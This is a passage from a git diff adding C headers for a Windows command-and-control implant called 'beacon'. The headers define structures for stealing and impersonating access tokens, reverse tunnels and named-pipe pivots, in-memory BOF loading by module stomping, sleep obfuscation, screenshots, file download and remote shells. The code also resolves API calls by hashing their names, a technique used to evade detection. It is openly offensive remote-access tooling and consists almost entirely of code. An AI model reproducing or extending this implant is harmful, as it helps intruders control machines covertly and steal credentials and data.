); + D_API( WinHttpOpenRequest ); + D_API( WinHttpSendRequest ); + D_API( WinHttpReceiveResponse ); + D_API( WinHttpQueryHeaders ); + D_API( WinHttpReadData ); + D_API( WinHttpCloseHandle ); + D_API( WinHttpCrackUrl ); + D_API( WinHttpSetOption ); + D_API( WinHttpQueryOption ); + D_API( WinHttpQueryDataAvailable ); +} NAX_WINHTTP; + +/* ========= [ advapi32.dll ] ========= */ + +typedef struct { + D_API( GetUserNameW ); + D_API( GetTokenInformation ); + D_API( LookupAccountSidA ); + D_API( AllocateAndInitializeSid ); + D_API( InitializeSecurityDescriptor ); + D_API( SetSecurityDescriptorDacl ); + D_API( SetEntriesInAclA ); + D_API( FreeSid ); + D_API( DuplicateTokenEx ); + D_API( ImpersonateLoggedOnUser ); + D_API( RevertToSelf ); + D_API( LogonUserA ); + D_API( AdjustTokenPrivileges ); + D_API( LookupPrivilegeValueA ); + D_API( LookupPrivilegeNameA ); + D_API( OpenThreadToken ); + D_API( RegCreateKeyExW ); + D_API( RegSetValueExW ); + D_API( RegCloseKey ); +} NAX_ADVAPI32; + +/* ========= [ iphlpapi.dll ] ========= */ + +typedef struct { + D_API( GetAdaptersInfo ); +} NAX_IPHLPAPI; + +/* ========= [ user32.dll ] ========= */ + +typedef struct { + D_API( GetSystemMetrics ); + D_API( GetDC ); + D_API( ReleaseDC ); +} NAX_USER32; + +/* ========= [ gdi32.dll ] ========= */ + +typedef struct { + D_API( CreateCompatibleDC ); + D_API( CreateCompatibleBitmap ); + D_API( SelectObject ); + D_API( BitBlt ); + D_API( GetDIBits ); + D_API( DeleteObject ); + D_API( DeleteDC ); +} NAX_GDI32; + +/* ========= [ ws2_32.dll (lazy-loaded for tunnels) ] ========= */ + +typedef struct { + BOOL Loaded; + D_API( WSAStartup ); + D_API( WSACleanup ); + D_API( WSAGetLastError ); + D_API( socket ); + D_API( closesocket ); + D_API( connect ); + D_API( bind ); + D_API( listen ); + D_API( accept ); + D_API( send ); + D_API( recv ); + D_API( select ); + D_API( ioctlsocket ); + D_API( htons ); + D_API( ntohs ); + D_API( inet_addr ); + D_API( gethostbyname ); + D_API( setsockopt ); + D_API( shutdown ); + D_API( WSACreateEvent ); + D_API( WSACloseEvent ); + D_API( WSAEventSelect ); + D_API( WSAResetEvent ); + D_API( WSAEnumNetworkEvents ); +} NAX_WS2; + +/* ========= [ tunnel state ] ========= */ + +#define NAX_TUNNEL_STATE_CLOSE 0 +#define NAX_TUNNEL_STATE_READY 1 +#define NAX_TUNNEL_STATE_CONNECT 2 + +#define NAX_TUNNEL_MODE_TCP 0 +#define NAX_TUNNEL_MODE_REVERSE 2 + +#define NAX_TUNNEL_HIGH_WATERMARK ( 4 * 1024 * 1024 ) +#define NAX_TUNNEL_LOW_WATERMARK ( 1 * 1024 * 1024 ) +#define NAX_TUNNEL_HARD_CAP ( 16 * 1024 * 1024 ) + +/* ========= [ token state ] ========= */ + +typedef struct _NAX_TOKEN_NODE { + HANDLE Handle; + UINT32 TokenId; + UINT32 SourcePid; + CHAR User[ 128 ]; + CHAR Domain[ 128 ]; + struct _NAX_TOKEN_NODE* Next; +} NAX_TOKEN_NODE; + +typedef struct _NAX_TUNNEL { + UINT32 ChannelId; + UINT32 Type; + UINT_PTR Sock; + BYTE State; + BYTE Mode; + UINT32 WaitTime; + UINT64 StartTick; + UINT32 CloseTimer; + PBYTE WriteBuf; + UINT32 WriteBufSize; + BOOL Paused; + BOOL SrvPaused; + struct _NAX_TUNNEL* Next; +} NAX_TUNNEL; + +/* ========= [ pivot state ] ========= */ + +typedef struct _NAX_PIVOT_ASYNC { + OVERLAPPED OvRead; + HANDLE hWriteEvent; + UINT32 RdHeader; + BOOL RdPending; + BOOL DataSent; +} NAX_PIVOT_ASYNC; + +typedef struct _NAX_PIVOT { + UINT32 Id; + HANDLE hPipe; + NAX_PIVOT_ASYNC* Async; + struct _NAX_PIVOT* Next; +} NAX_PIVOT; + +/* ========= [ BOF module stomping ] ========= */ + +typedef struct { + PVOID DllBase; + PVOID TextBase; + ULONG TextCap; + PIMAGE_NT_HEADERS Nt; + BYTE InUse; + PVOID TextBackup; + PVOID PdataBase; + ULONG PdataSize; + PVOID PdataBackup; +} BOF_STOMP_SLOT; + +typedef struct { + BOF_STOMP_SLOT SyncSlot; + BOF_STOMP_SLOT AsyncSlots[ BOF_STOMP_ASYNC_MAX ]; + BOF_STOMP_SLOT SmSlot; + BYTE AsyncCount; + BYTE Initialized; + BYTE SmStompReq; +} BOF_STOMP_POOL; + +/* ========= [ BOF execution context ] ========= */ + +typedef struct _NAX_BOF_MEDIA { + struct _NAX_BOF_MEDIA* Next; + PBYTE Data; /* complete entry including type tag (0x81/0x82) */ + UINT32 Len; +} NAX_BOF_MEDIA; + +typedef struct { + PBYTE Buf; /* heap-allocated text output accumulator (8 KB) */ + UINT32 Len; /* bytes written so far */ + UINT32 Cap; /* buffer capacity */ + NAX_BOF_MEDIA* MediaHead; /* linked list of screenshot/download entries */ + BYTE Stomped; /* 0x00=private alloc, 0x01=module stomped */ + BYTE StompSlot; /* sync=0xFF, async=0-3 */ +} NAX_BOF_CTX; + +/* ========= [ chunked download state ] ========= */ + +typedef struct _NAX_DOWNLOAD { + UINT32 TaskId; + UINT32 FileId; + HANDLE hFile; + UINT32 FileSize; + UINT32 Index; + UINT32 ChunkSize; + struct _NAX_DOWNLOAD* Next; +} NAX_DOWNLOAD; + +/* ========= [ upload memory accumulator ] ========= */ + +typedef struct _NAX_MEMSAVE { + UINT32 MemoryId; + UINT32 TotalSize; + UINT32 CurrentSize; + PBYTE Buffer; + struct _NAX_MEMSAVE* Next; +} NAX_MEMSAVE; + +/* ========= [ async job tracking ] ========= */ + +#define NAX_JOB_PENDING 0 +#define NAX_JOB_RUNNING 1 +#define NAX_JOB_FINISHED 2 +#define NAX_JOB_KILLED 3 + +typedef struct _NAX_INSTANCE NAX_INSTANCE, *PNAX_INSTANCE; + +typedef struct _NAX_JOB { + PNAX_INSTANCE Nax; + UINT32 TaskId; + UINT32 State; + BYTE AllocMode; + BYTE Abandoned; + BYTE StompSlotIdx; + HANDLE hStopEvent; + HANDLE hThread; + DWORD TimeoutMs; + UINT64 StartTick; + NAX_BOF_CTX BofCtx; + NAX_BOF_CTX SavedBofCtx; + RTL_CRITICAL_SECTION Lock; + PBYTE CoffCopy; + UINT32 CoffSize; + PBYTE ArgsCopy; + UINT32 ArgsSize; + struct _NAX_JOB* Next; +} NAX_JOB; + +/* ========= [ remote shell tracking ] ========= */ + +typedef struct _NAX_SHELL { + UINT32 TerminalId; + HANDLE hProcess; + HANDLE hThread; + HANDLE hStdinWrite; + HANDLE hStdoutRead; + BYTE State; + BYTE Started; + struct _NAX_SHELL* Next; +} NAX_SHELL; + +/* ========= [ sleep obfuscation runtime config ] ========= */ + +typedef struct _NAX_SM_CONFIG { + BYTE SleepObf; /* 0=disabled, 1=enabled (WFSO PoC) */ + BYTE _pad; +} NAX_SM_CONFIG, *PNAX_SM_CONFIG; + +/* ========= [ sleepmask info - image region for encrypt/decrypt ] ========= */ + +typedef struct _NAX_SM_INFO { + PVOID BeaconBase; + UINT32 BeaconSize; + PVOID SmBase; + UINT32 SmSize; + PVOID CleanTextBuf; + UINT32 CleanTextSize; + NAX_SM_CONFIG Config; + UINT32 ActiveJobCount; +} NAX_SM_INFO, *PNAX_SM_INFO; + +/* ========= [ BeaconGate originals + swap table ] ========= */ + +typedef struct { + PVOID Sleep; + PVOID WaitForSingleObject; + PVOID WaitForMultipleObjects; + PVOID VirtualProtect; +} NAX_GATE_ORIGINALS; + +#define NAX_GATE_MAX_SWAPS 8 + +typedef struct { + PVOID* Slot; + PVOID Original; +} NAX_GATE_SWAP; + +typedef struct { + NAX_GATE_SWAP Entries[NAX_GATE_MAX_SWAPS]; + UINT32 Count; +} NAX_GATE_SWAP_TABLE; + +/* ========= [ beacon instance ] ========= */ + +#define NAX_HTTP_STALE_MS 60000u /* close persistent handles when sleep > this */ + +struct _NAX_INSTANCE { + CHAR SessionId[17]; /* 16 hex chars + NUL */ + NAX_CONFIG Config; /* all runtime-configurable fields */ + HANDLE Heap; /* private beacon heap */ + + /* persistent WinHTTP handles - reused across heartbeats */ + HINTERNET hSession; /* WinHttpOpen (UA + proxy config) */ + HINTERNET hConnect; /* WinHttpConnect (host:port) */ + + /* system info - gathered once at boot, sent in REGISTER */ + BYTE Elevated; /* 1 if running elevated / admin */ + UINT32 OsMajor; /* Windows major version (PEB+0x118) */ + UINT32 OsMinor; /* Windows minor version (PEB+0x11C) */ + UINT16 OsBuild; /* Windows build number (PEB+0x120) */ + UINT32 ParentPid; /* parent process ID */ + UINT32 Acp; /* ANSI code page */ + UINT32 OemCp; /* OEM code page */ + CHAR ImgPath[260]; /* full image path (UTF-8) */ + + NAX_NTDLL Ntdll; + NAX_MSVCRT Msvcrt; + NAX_KERNEL32 Kernel32; + NAX_KERNELBASE Kernelbase; + NAX_BCRYPT Bcrypt; + + BOOL CfgEnabled; + NAX_WINHTTP Winhttp; + NAX_ADVAPI32 Advapi32; + NAX_IPHLPAPI Iphlpapi; + NAX_USER32 User32; + NAX_GDI32 Gdi32; + NAX_BOF_CTX BofCtx; + BOF_STOMP_POOL BofStompPool; + NAX_PIVOT* PivotHead; + NAX_DOWNLOAD* DownloadHead; + NAX_MEMSAVE* MemSaveHead; + NAX_JOB* JobHead; + NAX_JOB* CurrentJob; + HANDLE JobWakeEvent; + NAX_TOKEN_NODE* TokenHead; + NAX_WS2 Ws2; + NAX_TUNNEL* TunnelHead; + HANDLE TunnelEvent; + NAX_SHELL* ShellHead; + + PBYTE DynResp; /* dynamic heartbeat response (Content-Length > IO_CAP) */ + UINT32 DynRespLen; + PVOID Gate; + NAX_GATE_ORIGINALS GateOriginals; + NAX_GATE_SWAP_TABLE GateSwaps; + PBYTE SmBofCache; + UINT32 SmBofCacheLen; + NAX_SM_INFO SmInfo; + + /* resident BOF state (sleepmask) - kept alive across heartbeats */ + PVOID ResidentSections[16]; + UINT16 ResidentNumSections; + PVOID ResidentMapFunc; + BOOL ResidentStomped; + PRUNTIME_FUNCTION ResidentPdata; + DWORD ResidentPdataCount; + BOOL ResidentPdataInDll; +}; diff --git a/src_beacon/include/Jobs.h b/src_beacon/include/Jobs.h new file mode 100644 index 0000000..4202643 --- /dev/null +++ b/src_beacon/include/Jobs.h @@ -0,0 +1,8 @@ +/* beacon/include/Jobs.h + * Async BOF job manager constants. */ + +#pragma once + +#define JOB_DEFAULT_TIMEOUT_MS 60000u +#define JOB_GRACE_PERIOD_MS 500u +#define JOB_OUTPUT_DRAIN_CAP 1048576u diff --git a/src_beacon/include/Ldr.h b/src_beacon/include/Ldr.h new file mode 100644 index 0000000..e69de29 diff --git a/src_beacon/include/LdrFlags.h b/src_beacon/include/LdrFlags.h new file mode 100644 index 0000000..c446f32 --- /dev/null +++ b/src_beacon/include/LdrFlags.h @@ -0,0 +1,14 @@ +/* beacon/include/LdrFlags.h + * LDR entry flags for module stomping PEB patching. + * Shared between Bof/Stomp.c and Commands/BofStomp.c. */ + +#pragma once + +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_NOTIFICATIONS_SENT 0x00000008 +#define LDRP_PROCESS_STATIC_IMPORT 0x00000020 +#define LDRP_ENTRY_PROCESSED 0x00004000 + +#ifndef DONT_RESOLVE_DLL_REFERENCES +#define DONT_RESOLVE_DLL_REFERENCES 0x00000001 +#endif diff --git a/src_beacon/include/Macros.h b/src_beacon/include/Macros.h new file mode 100644 index 0000000..73a4a54 --- /dev/null +++ b/src_beacon/include/Macros.h @@ -0,0 +1,359 @@ +/* beacon/include/Macros.h + * Compiler helpers, PIC section placement, FNV1a hashes. + * All hash values are FNV1a-32 over the UPPERCASE function/module name. */ + +#pragma once + +/* ========= [ mingw-w64 / -mno-sse workaround ] ========= */ +/* winnt.h pulls in psdk_inc/intrin-impl.h which defines __faststorefence() + * using __builtin_ia32_sfence - unavailable when -mno-sse is active. + * Pre-defining the guard macro suppresses that definition entirely. */ +#ifndef __INTRINSIC_DEFINED___faststorefence +#define __INTRINSIC_DEFINED___faststorefence +#endif + +/* ========= [ section placement ] ========= */ +#define D_SEC( x ) __attribute__( ( section( ".text$" #x ) ) ) +#define FUNC D_SEC( B ) + +/* ========= [ function pointer declaration ] ========= */ +/* Usage: D_API( VirtualAlloc ) expands to __typeof__(VirtualAlloc) *VirtualAlloc; */ +#define D_API( x ) __typeof__( x ) * x + +/* ========= [ pointer helpers ] ========= */ +#define C_PTR( x ) ( ( PVOID )( UINT_PTR )( x ) ) +#define U_PTR( x ) ( ( UINT_PTR )( x ) ) +#define B_PTR( x ) ( ( PBYTE )( UINT_PTR )( x ) ) + +/* ========= [ memory helpers ] ========= */ +#define MmCopy( d, s, n ) __builtin_memcpy( (d), (s), (n) ) +#define MmZero( d, n ) __builtin_memset( (d), 0, (n) ) + +/* ========= [ FNV1a-32 hashes (uppercase input) ] ========= */ + +/* Module names */ +#define H_NTDLL_DLL 0x145370BBu +#define H_KERNEL32_DLL 0x29CDD463u +#define H_WINHTTP_DLL 0xD7735323u +#define H_BCRYPT_DLL 0x5BEDF6A5u +#define H_IPHLPAPI_DLL 0xDB411E4Au +#define H_ADVAPI32_DLL 0x35C841F5u +#define H_MSVCRT_DLL 0x1DDEBB66u + +/* ntdll.dll exports */ +#define H_LDRREGISTERDLLNOTIFICATION 0x45F4C843u +#define H_LDRUNREGISTERDLLNOTIFICATION 0x24E3DB7Eu +#define H_RTLALLOCATEHEAP 0x1AFF0438u +#define H_RTLFREEHEAP 0x9D9B8AB5u +#define H_RTLEXITUSERTHREAD 0xCC77997Eu +#define H_DBGPRINT 0xEF42EB8Bu /* DbgPrint */ +#define H_NTOPENPROCESSTOKEN 0x06E571ADu /* NtOpenProcessToken */ +#define H_NTQUERYINFORMATIONTOKEN 0x95047682u /* NtQueryInformationToken */ +#define H_NTQUERYINFORMATIONPROCESS 0x69925B6Au /* NtQueryInformationProcess */ +#define H_NTCLOSE 0x1498D8A5u /* NtClose */ +#define H_NTQUERYSYSTEMINFORMATION 0x37072D8Au /* NtQuerySystemInformation */ +#define H_NTQUERYVIRTUALMEMORY 0x315E365Fu /* NtQueryVirtualMemory */ +#define H_NTOPENPROCESS 0x3ED17B38u /* NtOpenProcess */ +#define H_NTTERMINATEPROCESS 0xB931F2E7u /* NtTerminateProcess */ + +/* kernel32.dll exports */ +#define H_GETCURRENTPROCESSID 0xC36D7CE0u +#define H_GETCURRENTTHREADID 0xF388A295u +#define H_GETCOMPUTERNAMEEXW 0x8DD6527Du +#define H_EXITPROCESS 0xAC392D5Au +#define H_SLEEP 0x6D3D9A28u +#define H_LOADLIBRARYW 0xD76CCD99u +#define H_WIDECHARTOMULTIBYTE 0x4AF2783Eu +#define H_MULTIBYTETOWIDECHAR 0xB2996B82u +#define H_GLOBALFREE 0xF8D3360Cu +#define H_CREATEDIRECTORYA 0xC0A3F6F3u /* CreateDirectoryA */ +#define H_SETCURRENTDIRECTORYA 0xB71F9262u /* SetCurrentDirectoryA */ +#define H_GETCURRENTDIRECTORYA 0xEF8CF83Eu /* GetCurrentDirectoryA */ +#define H_CREATEFILEA 0xE84B3A8Eu /* CreateFileA */ +#define H_READFILE 0xBC5C02C3u /* ReadFile */ +#define H_WRITEFILE 0xD6BC7FEAu /* WriteFile */ +#define H_DELETEFILEA 0x3E6F4637u /* DeleteFileA */ +#define H_CLOSEHANDLE 0x00FEF545u /* CloseHandle */ +#define H_REMOVEDIRECTORYA 0x192454D3u /* RemoveDirectoryA */ +#define H_FINDFIRSTFILEA 0xBDC52C95u /* FindFirstFileA */ +#define H_FINDNEXTFILEA 0x533ED8F8u /* FindNextFileA */ +#define H_FINDCLOSE 0x3FF09C86u /* FindClose */ +#define H_GETACP 0x8FB91DB9u /* GetACP */ +#define H_GETOEMCP 0xF3F6C445u /* GetOEMCP */ +#define H_CREATEPROCESSA 0xE3EB7329u /* CreateProcessA */ +#define H_CREATEPIPE 0x18FC8AE1u /* CreatePipe */ +#define H_WAITFORSINGLEOBJECT 0x087A5704u /* WaitForSingleObject */ +#define H_WAITFORMULTIPLEOBJECTS 0xE097CA29u /* WaitForMultipleObjects */ +#define H_PEEKNAMEDPIPE 0xD76A4197u /* PeekNamedPipe */ +#define H_CREATENAMEDPIPEA 0x22623B81u /* CreateNamedPipeA */ +#define H_CONNECTNAMEDPIPE 0x2E327346u /* ConnectNamedPipe */ +#define H_DISCONNECTNAMEDPIPE 0xACED8A20u /* DisconnectNamedPipe */ +#define H_SETNAMEDPIPEHANDLESTATE 0xF69E48D3u /* SetNamedPipeHandleState */ +#define H_CREATEEVENTA 0xE3D89242u /* CreateEventA */ +#define H_SETEVENT 0x0A5FA231u /* SetEvent */ +#define H_RESETEVENT 0xF86C8148u /* ResetEvent */ +#define H_GETOVERLAPPEDRESULT 0x9489823Eu /* GetOverlappedResult */ +#define H_CANCELIO 0x6C5E22DBu /* CancelIo */ +#define H_FLUSHFILEBUFFERS 0xC683B086u /* FlushFileBuffers */ + +/* advapi32.dll exports */ +#define H_GETUSERNAMEW 0x3B271BF8u +#define H_GETTOKENINFORMATION 0xEA1753BAu /* GetTokenInformation */ +#define H_LOOKUPACCOUNTSIDA 0x9F5E72E1u /* LookupAccountSidA */ +#define H_ALLOCATEANDINITIALIZESID 0x04F018F3u /* AllocateAndInitializeSid */ +#define H_INITIALIZESECURITYDESCRIPTOR 0x3B950E88u /* InitializeSecurityDescriptor */ +#define H_SETSECURITYDESCRIPTORDACL 0x39B5A210u /* SetSecurityDescriptorDacl */ +#define H_SETENTRIESINACLA 0x65427AD5u /* SetEntriesInAclA */ +#define H_FREESID 0x9543E245u /* FreeSid */ +#define H_DUPLICATETOKENEX 0xCCA86C7Eu /* DuplicateTokenEx */ +#define H_IMPERSONATELOGGEDONUSER 0x5D18DD4Au /* ImpersonateLoggedOnUser */ +#define H_REVERTTOSELF 0xAAE503A8u /* RevertToSelf */ +#define H_LOGONUSERA 0xAED2941Au /* LogonUserA */ +#define H_ADJUSTTOKENPRIVILEGES 0xC87F17A3u /* AdjustTokenPrivileges */ +#define H_LOOKUPPRIVILEGEVALUEA 0x7206E77Eu /* LookupPrivilegeValueA */ +#define H_LOOKUPPRIVILEGENAMEA 0x155AB538u /* LookupPrivilegeNameA */ +#define H_OPENTHREADTOKEN 0x3F9FFC2Au /* OpenThreadToken */ +#define H_REGCREATEKEYEXW 0x55945DD2u /* RegCreateKeyExW */ +#define H_REGSETVALUEEXW 0x928D78A6u /* RegSetValueExW */ +#define H_REGCLOSEKEY 0xD91F178Au /* RegCloseKey */ + +/* iphlpapi.dll exports */ +#define H_GETADAPTERSINFO 0xF3F916E3u + +/* winhttp.dll exports */ +#define H_WINHTTPOPEN 0xDE65FA65u +#define H_WINHTTPCONNECT 0x68399F2Du +#define H_WINHTTPOPENREQUEST 0x2C5B8EB2u +#define H_WINHTTPSENDREQUEST 0x186BEAE4u +#define H_WINHTTPRECEIVERESPONSE 0xBE71F421u +#define H_WINHTTPQUERYHEADERS 0xE990A96Fu +#define H_WINHTTPREADDATA 0x2CD17989u +#define H_WINHTTPCLOSEHANDLE 0xA8A76F19u +#define H_WINHTTPCRACKURL 0xDAD03DD6u +#define H_WINHTTPSETOPTION 0x121A377Au +#define H_WINHTTPQUERYOPTION 0xD159A97Au +#define H_WINHTTPQUERYDATAAVAILABLE 0x98141526u + +/* bcrypt.dll exports */ +#define H_BCRYPTOPENALGORITHMPROVIDER 0x55E27E7Du +#define H_BCRYPTSETPROPERTY 0x4680A508u +#define H_BCRYPTGENERATESYMMETRICKEY 0x9680C51Au +#define H_BCRYPTENCRYPT 0xF0E24004u +#define H_BCRYPTDECRYPT 0x45B2AAE0u +#define H_BCRYPTDESTROYKEY 0x97D4FFB6u +#define H_BCRYPTCLOSEALGORITHMPROVIDER 0x19DD9647u +#define H_BCRYPTGENRANDOM 0xFA481CACu + +/* msvcrt.dll exports */ +#define H_PRINTF 0xB81DD0EAu /* printf */ + +/* user32.dll */ +#define H_USER32_DLL 0x1A58C439u /* user32.dll */ +#define H_GETSYSTEMMETRICS 0x5A58C773u /* GetSystemMetrics */ +#define H_GETDC 0xAAADEDBEu /* GetDC */ +#define H_RELEASEDC 0x10824D97u /* ReleaseDC */ + +/* gdi32.dll */ +#define H_GDI32_DLL 0xAD22D412u /* gdi32.dll */ +#define H_CREATECOMPATIBLEDC 0x1C5A0D1Au /* CreateCompatibleDC */ +#define H_CREATECOMPATIBLEBITMAP 0x6891AA50u /* CreateCompatibleBitmap */ +#define H_SELECTOBJECT 0xE1301202u /* SelectObject */ +#define H_BITBLT 0x6FB8AACEu /* BitBlt */ +#define H_GETDIBITS 0x9935CA08u /* GetDIBits */ +#define H_DELETEOBJECT 0xCFDED101u /* DeleteObject */ +#define H_DELETEDC 0x749F876Bu /* DeleteDC */ + +/* kernel32 additions for BOF proxy + download */ +#define H_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */ +#define H_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */ +#define H_LOADLIBRARYEXW 0x5D45A5C2u /* LoadLibraryExW */ +#define H_VIRTUALPROTECT 0x62C5C373u /* VirtualProtect */ +#define H_GETFILESIZE 0x7C072ED8u /* GetFileSize */ +#define H_GETLASTERROR 0x84BD9597u /* GetLastError */ +#define H_GETPROCESSMITIGATIONPOLICY 0x7BC86641u /* GetProcessMitigationPolicy */ + +/* kernelbase.dll */ +#define H_KERNELBASE_DLL 0x91624877u +#define H_SETPROCESSVALIDCALLTARGETS 0xDD31D9C4u /* SetProcessValidCallTargets */ + +/* ========= [ debug print ] ========= */ +/* __FILENAME__: compile-time basename of __FILE__ via builtin_strrchr. + * The pointer arithmetic is evaluated at compile time; no runtime cost. + * In release builds the entire DPRINT block compiles away - __FILENAME__ + * is never referenced and no string literal ends up in .rdata. */ +#define __FILENAME__ \ + ( __builtin_strrchr( __FILE__, '\\' ) \ + ? __builtin_strrchr( __FILE__, '\\' ) + 1 \ + : ( __builtin_strrchr( __FILE__, '/' ) \ + ? __builtin_strrchr( __FILE__, '/' ) + 1 \ + : __FILE__ ) ) + +/* ========= [ debug print helpers ] ========= */ +/* Unique name helpers for static-local format string variables. + * _NX_CONCAT(a, b) → a##b, evaluated in two steps to force __LINE__ expansion. */ +#define _NX_C2( a, b ) a##b +#define _NX_CONCAT( a, b ) _NX_C2( a, b ) + +#ifdef DEBUG_PIC +/* PIC-safe debug: format strings are static locals placed in .text$B via a + * section attribute, so no string data lands in .rdata. __FILE__ and + * __FUNCTION__ are intentionally omitted - they produce .rodata literals that + * break .text-only shellcode. __LINE__ gives each static a unique name within + * its translation unit so multiple calls in the same file never collide. + * + * NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg). + * NaxDbg - msvcrt!printf (visible in console / CRT debugger). */ +#define __FILENAME__ (__builtin_strrchr(__FILE__, '\\') ? \ + __builtin_strrchr(__FILE__, '\\') + 1 : \ + (__builtin_strrchr(__FILE__, '/') ? \ + __builtin_strrchr(__FILE__, '/') + 1 : __FILE__)) + +#define NaxDbgx( Nax, fmt, ... ) \ + do { \ + static const char _NX_CONCAT( _nfmt_, __LINE__ )[] \ + __attribute__( ( section( ".text$Bd" ), used ) ) = \ + "[NaX::%s::%s::%d] => " fmt "\n"; \ + if ( ( Nax ) && ( Nax )->Ntdll.DbgPrint ) \ + (void)( Nax )->Ntdll.DbgPrint( \ + _NX_CONCAT( _nfmt_, __LINE__ ), \ + __FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \ + } while ( 0 ) + +#define NaxDbg( Nax, fmt, ... ) \ + do { \ + static const char _NX_CONCAT( _mfmt_, __LINE__ )[] \ + __attribute__( ( section( ".text$Bd" ), used ) ) = \ + "[NaX::%s::%s::%d] => " fmt "\n"; \ + if ( ( Nax ) && ( Nax )->Msvcrt.printf ) \ + (void)( Nax )->Msvcrt.printf( \ + _NX_CONCAT( _mfmt_, __LINE__ ), \ + __FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ); \ + } while ( 0 ) + +#elif defined( DEBUG ) +/* Non-PIC debug exe: full file/func/line prefix, strings go to .rdata. + * NaxDbgx - DbgPrint (ntdll, visible in DebugView / x64dbg). + * NaxDbg - msvcrt!printf (visible in console / CRT debugger). */ +#define NaxDbgx( Nax, fmt, ... ) \ + ( ( Nax ) && ( Nax )->Ntdll.DbgPrint \ + ? ( (void)( Nax )->Ntdll.DbgPrint( \ + "[NaX::%s::%s::%d] => " fmt "\n", \ + __FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \ + : (void)0 ) + +#define NaxDbg( Nax, fmt, ... ) \ + ( ( Nax ) && ( Nax )->Msvcrt.printf \ + ? ( (void)( Nax )->Msvcrt.printf( \ + "[NaX::%s::%s::%d] => " fmt "\n", \ + __FILENAME__, __FUNCTION__, __LINE__, ##__VA_ARGS__ ) ) \ + : (void)0 ) + +#else +#define NaxDbgx( Nax, fmt, ... ) ( (void)0 ) +#define NaxDbg( Nax, fmt, ... ) ( (void)0 ) +#endif + +/* ========= [ global instance accessor ] ========= */ +/* G_INSTANCE - recover NAX_INSTANCE from TEB->NtTib.ArbitraryUserPointer. + * Uses NaxCurrentTeb() (Defs.h overlay) because mingw _TEB is opaque. + * NT_TIB.ArbitraryUserPointer sits at TEB+0x028; the cast is safe. */ +#define G_INSTANCE PNAX_INSTANCE Nax = \ + (PNAX_INSTANCE)NaxCurrentTeb()->NtTib.ArbitraryUserPointer + +/* ===== ntdll thread pool + critical section ===== */ +#define H_TPALLOCWORK 0x626981afu +#define H_TPPOSTWORK 0x77d8b8e6u +#define H_TPRELEASEWORK 0x18b7bcafu +#define H_RTLINITIALIZECRITICALSECTION 0x2609832du +#define H_RTLENTERCRITICALSECTION 0x39ad70efu +#define H_RTLLEAVECRITICALSECTION 0x56e886f8u +#define H_RTLTRYENTERCRITICALSECTION 0x9010ae00u +#define H_RTLDELETECRITICALSECTION 0x5cf633fau + +/* ===== kernel32 threading ===== */ +#define H_CREATETHREAD 0x390a6579u +#define H_TERMINATETHREAD 0xab268abcu +#define H_GETTICKCOUNT64 0xb6f9b737u +#define H_GETCURRENTTHREAD 0x3a773de8u +#define H_DUPLICATEHANDLE 0x84a0a8d0u +#define H_GETCURRENTPROCESS 0xc75b7345u + +/* ===== ntdll NT API (added for BOF execution) ===== */ +#define H_NTALLOCATEVIRTUALMEMORY 0xD58D5A18u /* NtAllocateVirtualMemory */ +#define H_NTPROTECTVIRTUALMEMORY 0x069FF566u /* NtProtectVirtualMemory */ +#define H_NTFREEVIRTUALMEMORY 0x8A45BA47u /* NtFreeVirtualMemory */ +#define H_RTLADDFUNCTIONTABLE 0xAA532C08u /* RtlAddFunctionTable */ +#define H_RTLDELETEFUNCTIONTABLE 0x9D3FF94Au /* RtlDeleteFunctionTable */ +#define H__VSNPRINTF 0x193ECBC2u /* _vsnprintf */ + +/* ===== kernel32 (BOF dynamic Win32 resolution) ===== */ +#define H_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */ +#define H_GETPROCADDRESS 0x12D71805u /* GetProcAddress */ + +/* ===== Beacon API table hashes (FNV1a of function name, no __imp_ prefix) ===== */ +#define H_BOF_BEACONDATAPARSE 0xF50B7120u +#define H_BOF_BEACONDATAINT 0xE04B32FAu +#define H_BOF_BEACONDATASHORT 0xDFCDEB61u +#define H_BOF_BEACONDATALENGTH 0x83077BB1u +#define H_BOF_BEACONDATAEXTRACT 0x67BD9D82u +#define H_BOF_BEACONOUTPUT 0x65561DB0u +#define H_BOF_BEACONPRINTF 0x5CD69236u +#define H_BOF_BEACONISADMIN 0xF626BAF8u +#define H_BOF_BEACONFORMATALLOC 0xC823D737u +#define H_BOF_BEACONFORMATRESET 0xE62F39D9u +#define H_BOF_BEACONFORMATFREE 0x43327794u +#define H_BOF_BEACONFORMATAPPEND 0xA9422B42u +#define H_BOF_BEACONFORMATPRINTF 0x97E3AE55u +#define H_BOF_BEACONFORMATTOSTRING 0xE4BFBF6Eu +#define H_BOF_BEACONFORMATINT 0xD81013B7u + +/* ===== Additional Beacon API (from beacon.h additions) ===== */ +#define H_BOF_BEACONDATAPTR 0x87CE7C1Du /* BeaconDataPtr */ +#define H_BOF_BEACONUSETOKEN 0xEEBAA4E5u /* BeaconUseToken */ +#define H_BOF_BEACONREVERTTOKEN 0x95FE635Cu /* BeaconRevertToken */ +#define H_BOF_BEACONGETSPAWNTO 0x83125743u /* BeaconGetSpawnTo */ +#define H_BOF_BEACONINFORMATION 0x4A788379u /* BeaconInformation */ +#define H_BOF_TOWIDECHAR 0x76F95C03u /* toWideChar */ + +/* ===== Adaptix-extension Beacon API (adaptix.h) ===== */ +#define H_BOF_AXADDSCREENSHOT 0x7B379A8Bu /* AxAddScreenshot */ +#define H_BOF_AXDOWNLOADMEMORY 0x177559E7u /* AxDownloadMemory */ +/* Async BOF APIs */ +#define H_BOF_BEACONWAKEUP 0xde6f5ab4u +#define H_BOF_BEACONGETSTOPJOBEVENT 0x6e7db176u +/* BOF proxy functions - bare LoadLibraryA/GetProcAddress/etc. (no MODULE$ prefix) */ +#define H_BOF_LOADLIBRARYA 0xE96CE9EFu /* LoadLibraryA */ +#define H_BOF_GETPROCADDRESS 0x12D71805u /* GetProcAddress */ +#define H_BOF_GETMODULEHANDLEA 0xA2AE8F7Cu /* GetModuleHandleA */ +#define H_BOF_FREELIBRARY 0x9CE6498Eu /* FreeLibrary */ + +/* ===== beacon private heap management ===== */ +#define H_HEAPCREATE 0xF6BF1E07u /* HeapCreate */ +#define H_HEAPDESTROY 0x7ACACAAFu /* HeapDestroy */ + +/* 